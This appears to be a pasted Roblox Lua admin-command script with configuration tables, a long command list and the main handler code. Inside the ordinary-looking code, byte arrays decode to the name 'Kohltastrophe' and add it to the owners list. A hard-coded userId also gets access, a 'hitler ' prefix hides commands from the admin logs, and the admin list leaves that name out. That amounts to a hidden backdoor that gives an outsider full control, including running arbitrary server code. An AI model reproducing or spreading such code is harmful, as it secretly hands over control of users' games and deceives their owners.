Advertisement
Guest User

Untitled

a guest
Mar 27th, 2017
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 119.05 KB | None | 0 0
  1. --Kohls Admin Commands Version 3
  2. -----------------------------------------------------------------------------------------
  3. -- Heres my new admin V3 because i was banned it cant update and Thanx for using meh admin --
  4. -----------------------------------------------------------------------------------------
  5. local owners = {“taco_suc”} -- Are able to set admins who can ban/etc... using :pa name
  6. local admins = {""} -- Sets admins who can use ban/kick/admin or shutdown
  7. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  8. local banland = {""} -- Permanently Bans people
  9. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  10. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  11. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  12. ---------------------
  13. -- VIP Admin --
  14. ---------------------
  15. local VipAdmin = false -- If someone can have admin for owning an item
  16. local ItemId = 0 -- The item they must own in order to have admin
  17. ---------------------
  18. -- Group Admin --
  19. ---------------------
  20. local GroupAdmin = false -- If a certain group can have admin
  21. local GroupId = 0 -- Sets the group id that can have admin
  22. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  23. ---------------------
  24. -- Tips and Tricks --
  25. ---------------------
  26. --[[
  27. With this admin you can do a command on multiple people at a time;
  28. :kill me,noob1,noob2,random,team-raiders,nonadmins
  29.  
  30. You can also use a variety commands for different people;
  31. all
  32. others
  33. me
  34. team-
  35. admins
  36. nonadmins
  37. random
  38. --]]
  39. ---------------------
  40. -- Commands --
  41. ---------------------
  42. --[[
  43. -- |Temp Admin Commands| --
  44. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  45. 1. :s print("Hello World") -- Lets you script normally
  46. 2. :ls print("Hello World") -- Lets you script in localscripts
  47. 3. :clear -- Will remove all scripts/localscripts and jails
  48. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  49. 5. :kill kohl -- Kills the player
  50. 6. :respawn kohl -- Respawns the player
  51. 7. :trip kohl -- Trips the player
  52. 8. :stun kohl -- Stuns the player
  53. 9. :unstun kohl -- Unstuns the player
  54. 10. :jump kohl -- Makes the player jump
  55. 11. :sit kohl -- Makes the player sit
  56. 12. :invisible kohl -- Makes the player invisible
  57. 13. :visible kohl -- Makes the player visible
  58. 14. :explode kohl -- Makes the player explode
  59. 15. :fire kohl -- Sets the player on fire
  60. 16. :unfire kohl -- Removes fire from the player
  61. 17. :smoke kohl -- Adds smoke to the player
  62. 18. :unsmoke kohl -- Removes smoke from the player
  63. 19. :sparkles kohl -- Adds sparkles to the player
  64. 20. :unsparkles kohl -- Removes sparkles from the player
  65. 21. :ff kohl -- Adds a forcefield to the player
  66. 22. :unff kohl -- Removes the forcefield from the player
  67. 23. :punish kohl -- Punishes the player
  68. 24. :unpunish kohl -- Unpunishes the player
  69. 25. :freeze kohl -- Freezes the player
  70. 26. :thaw kohl -- Thaws the player
  71. 27. :heal kohl -- Heals the player
  72. 28. :god kohl -- Makes the player have infinite health
  73. 29. :ungod kohl -- Makes the player have 100 health
  74. 30. :ambient .5 .5 .5 -- Changes the ambient
  75. 31. :brightness .5 -- Changes the brightness
  76. 32. :time 12 -- Changes the time
  77. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  78. 34. :fogend 100 -- Changes the fogend
  79. 35. :fogstart 100 -- Changes the fogstart
  80. 36. :removetools kohl -- Removes all tools from the player
  81. 37. :btools kohl -- Gives the player building tools
  82. 38. :give kohl sword -- Gives the player a tool
  83. 39. :damage kohl -- Damages the player
  84. 40. :grav kohl -- Sets the player's gravity to normal
  85. 41. :setgrav kohl 100 -- Sets the player's gravity
  86. 42. :nograv kohl -- Makes the player have 0 gravity
  87. 43. :health kohl 1337 -- Changes the player's health
  88. 44. :speed kohl 1337 -- Changes the player's walkspeed
  89. 45. :name kohl potato -- Changes the player's name
  90. 46. :unname kohl -- Remove the player's name
  91. 47. :team kohl Raiders -- Changes the player's team
  92. 48. :stopmusic -- Will stop all music playing in the server
  93. 49. :teleport kohl potato -- Teleports the player
  94. 50. :change kohl kills 1337 -- Changes a player's stat
  95. 51. :kick kohl -- Removes the player from the game
  96. 52. :infect kohl -- Turns the player into a zombie
  97. 53. :rainbowify kohl -- Turns the player into a rainbow
  98. 54. :flashify kohl -- Turns the player into a strobe
  99. 55. :noobify kohl -- Turns the player into a noob
  100. 56. :ghostify kohl -- Turns the player into a ghost
  101. 57. :goldify kohl -- Turns the player into gold
  102. 58. :shiny kohl -- Makes the player shiny
  103. 59. :normal kohl -- Puts the player back to normal
  104. 60. :trippy kohl -- Spams random colors on the player's screen
  105. 61. :untrippy kohl -- Untrippys the player
  106. 62. :strobe kohl -- Spams white and black on the player's screen
  107. 63. :unstrobe kohl -- Unstrobes the player
  108. 64. :blind kohl -- Blinds the player
  109. 65. :unblind kohl -- Unblinds the player
  110. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  111. 67. :fling kohl -- Flings the player
  112. 68. :seizure kohl -- Puts the player in a seizure
  113. 69. :music 1337 -- Plays a sound from the ID
  114. 70. :lock kohl -- Locks the player
  115. 71. :unlock kohl -- Unlocks the player
  116. 72. :removelimbs kohl -- Removes the player's limbs
  117. 73. :jail kohl -- Puts the player in a jail
  118. 74. :unjail kohl -- Removes the jail from the player
  119. 75. :fix -- This will fix the lighting to it's original settings
  120. 76. :fly kohl -- Makes the player fly
  121. 77. :unfly kohl -- Removes fly from the player
  122. 78. :noclip kohl -- Makes the player able to noclip
  123. 79. :clip kohl -- Removes noclipping from the player
  124. 80. :pm kohl Hey bro -- Sends the player a private message
  125. 81. :dog kohl -- Turns the player into a dog
  126. 82. :undog kohl -- Turns the player back to normal
  127. 83. :creeper kohl -- Turns the player into a creeper
  128. 84. :uncreeper kohl -- Turns the player back to normal
  129. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  130. 86. :char kohl 261 -- Will make a player look like a different player ID
  131. 87. :unchar kohl -- Will return the player back to normal
  132. 88. :h Hello People -- This will shout a hint to everyone
  133. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  134. 90. :starttools kohl -- Will give the player starter tools
  135. 91. :sword kohl -- Will give the player a sword
  136. 92. :bighead kohl -- Will make the player's head larger than normal
  137. 93. :minihead kohl -- Will make the player's head smaller than normal
  138. 94. :insert 1337 -- Will insert a model at the speaker's position
  139. 95. :disco -- Will make the server flash random colors
  140. 96. :flash -- Will make the server flash
  141. 97. :admins -- Shows the admin list
  142. 98. :bans -- Shows the banlist
  143. 99. :musiclist -- Shows the music list
  144. 100. :spin kohl -- Spins the player
  145. 101. :cape kohl Really black -- Gives the player a colored cape
  146. 102. :uncape kohl -- Removes the player's cape
  147. 103. :loopheal kohl -- Will constantly heal the player
  148. 104. :loopfling kohl -- Will constantly fling the player
  149. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  150. 106. :unloopheal kohl -- Will remove the loopheal on the player
  151. 107. :unloopfling kohl -- Will remove the loopfling on the player
  152. 108. :unspin kohl -- Removes spin from the player
  153. 109. :tools -- Gives a list of the tools in the lighting
  154. 110. :undisco -- Removes disco effects
  155. 111. :unflash -- Removes flash effects
  156. 112. :resetstats kohl -- Sets all the stats of a player to 0
  157. 113. :gear kohl 1337 -- Gives a player a gear
  158. 114. :cmdbar -- Gives the speaker a command bar
  159. 115. :shirt kohl 1337 -- Changes the player's shirt
  160. 116. :pants kohl 1337 -- Changes the player's pants
  161. 117. :face kohl 1337 -- Changes the player's face
  162. 118. :swagify kohl -- Swagifies the player
  163. 119. :version -- Shows the current version of the admin
  164. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  165. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  166. 122. :clone kohl -- Creates a clone of the player
  167. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  168. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  169. 125. :control kohl -- Controls a player
  170.  
  171. -- |Admin Commands| --
  172. - :serverlock -- Locks the server
  173. - :serverunlock -- Unlocks the server
  174. - :sm Hello World -- Creates a system message
  175. - :crash kohl -- Crashes a player
  176. - :admin kohl -- Admins a player
  177. - :unadmin kohl -- Unadmins a player
  178. - :ban kohl -- Bans a player
  179. - :unban kohl -- Unbans a player
  180. - :loopkill kohl -- Will constantly kill the player
  181. - :unloopkill kohl -- Will remove the loopkill on the player
  182. - :logs -- Will show all of the commands any admin has used in a game session
  183. - :shutdown -- Shutsdown the server
  184.  
  185. -- |Owner Commands| --
  186. - :pa kohl -- Makes someone a super admin
  187. - :unpa kohl -- Removes a super admin
  188. - :nuke kohl -- Creates a nuke on kohl
  189.  
  190. -- |True Owner Commands| --
  191. - :oa kohl -- Makes someone an owner
  192. - :unoa kohl -- Removes an owner
  193. - :settings -- Shows settings for the commands
  194. --]]
  195. ---------------------
  196. -- Main Script --
  197. ---------------------
  198. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  199.  
  200. function CHEESE()
  201. if game:service("Lighting"):findFirstChild("KACV2") then
  202. owners = {} admins = {} tempadmins = {} banland = {}
  203. for i,v in pairs(game.Lighting.KACV2:children()) do
  204. if v.Name == "Owner" then table.insert(owners, v.Value) end
  205. if v.Name == "Admin" then table.insert(admins, v.Value) end
  206. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  207. if v.Name == "Banland" then table.insert(banland, v.Value) end
  208. if v.Name == "Prefix" then prefix = v.Value end
  209. if v.Name == "FunCommands" then FunCommands = v.Value end
  210. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  211. if v.Name == "GroupId" then GroupId = v.Value end
  212. if v.Name == "GroupRank" then GroupRank = v.Value end
  213. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  214. if v.Name == "ItemId" then ItemId = v.Value end
  215. end
  216. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  217. end
  218.  
  219. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  220. local lobjs = {}
  221. local objects = {}
  222. local logs = {}
  223. local nfs = ""
  224. local slock = false
  225.  
  226. function GetTime()
  227. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  228. if min < 10 then min = "0"..min end
  229. return hour..":"..min
  230. end
  231.  
  232. function ChkOwner(str)
  233. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  234. return false
  235. end
  236.  
  237. function ChkAdmin(str,ck)
  238. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  239. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  240. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  241. return false
  242. end
  243.  
  244. function ChkGroupAdmin(plr)
  245. if GroupAdmin then
  246. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  247. return false
  248. end
  249. end
  250.  
  251. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  252.  
  253. function GetPlr(plr, str)
  254. local plrz = {} str = str:lower()
  255. if str == "all" then plrz = game.Players:children()
  256. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  257. else
  258. local sn = {1} local en = {}
  259. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  260. for x = 1, #sn do
  261. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  262. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  263. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  264. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  265. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  266. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  267. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  268. end end end
  269. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  270. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  271. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  272. end end end
  273. else
  274. for a, plyr in pairs(game.Players:children()) do
  275. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  276. table.insert(plrz, plyr) break
  277. end
  278. end
  279. end
  280. end
  281. end
  282. return plrz
  283. end
  284.  
  285. function Hint(str, plrz, time)
  286. for i, v in pairs(plrz) do
  287. if v and v:findFirstChild("PlayerGui") then
  288. coroutine.resume(coroutine.create(function()
  289. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  290. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  291. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  292. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  293. if not time then wait((#str/19)+2.5) else wait(time) end
  294. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  295. end))
  296. end
  297. end
  298. end
  299.  
  300. function Message(ttl, str, scroll, plrz, time)
  301. for i, v in pairs(plrz) do
  302. if v and v:findFirstChild("PlayerGui") then
  303. coroutine.resume(coroutine.create(function()
  304. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  305. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  306. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  307. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  308. scr.Parent = v.PlayerGui
  309. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  310. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  311. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  312. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  313. end))
  314. end
  315. end
  316. end
  317.  
  318. function RemoveMessage()
  319. for i,v in pairs(game.Players:children()) do
  320. if v and v:findFirstChild("PlayerGui") then
  321. for q,ms in pairs(v.PlayerGui:children()) do
  322. if ms.Name == "MessageGUI" then
  323. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  324. elseif ms.Name == "HintGUI" then
  325. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  326. end
  327. end
  328. end
  329. end
  330. end
  331.  
  332. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  333. _G["RemoveMessage"] = RemoveMessage()
  334.  
  335. function Output(str, plr)
  336. coroutine.resume(coroutine.create(function()
  337. local b, e = loadstring(str)
  338. if not b and plr:findFirstChild("PlayerGui") then
  339. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  340. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  341. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  342. return
  343. end
  344. end))
  345. end
  346.  
  347. function Noobify(char)
  348. if char and char:findFirstChild("Torso") then
  349. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  350. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  351. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  352. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  353. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  354. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  355. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  356. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  357. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  358. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  359. end end
  360. end
  361. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  362.  
  363. function Infect(char)
  364. if char and char:findFirstChild("Torso") then
  365. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  366. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  367. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  368. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  369. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  370. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  371. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  372. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  373. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  374. end end
  375. end
  376. end if not ntab then script:Destroy() end
  377.  
  378. function ScrollGui()
  379. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  380. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  381. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  382. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  383. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  384. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  385. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  386. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  387. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  388. local num = 0
  389. local downv = false
  390. local upv = false
  391.  
  392. down.MouseButton1Down:connect(function() downv = true upv = false
  393. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  394. repeat pos = pos + UDim2.new(0,0,0,-6)
  395. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  396. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  397. end)
  398. down.MouseButton1Up:connect(function() downv = false end)
  399. up.MouseButton1Down:connect(function() upv = true downv = false
  400. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  401. repeat pos = pos + UDim2.new(0,0,0,6)
  402. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  403. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  404. end)
  405. up.MouseButton1Up:connect(function() upv = false end)
  406. return scr, cmf, ent, num
  407. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  408. if not ntab then script:Destroy() end
  409. if not bct then script:Destroy() end
  410.  
  411. function Chat(msg,plr)
  412. coroutine.resume(coroutine.create(function()
  413. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  414. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  415. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  416. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  417. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  418. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  419. if msg:lower() == "cmds" or msg:lower() == "commands" then
  420. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  421. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  422. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  423. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  424. local ost = {"pa plr","unpa plr","nuke plr"}
  425. local tost = {"oa plr","unoa plr","settings"}
  426. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  427. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  428. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  429. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  430. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  431. end
  432.  
  433. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  434.  
  435. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  436. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  437. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  438. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  439. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
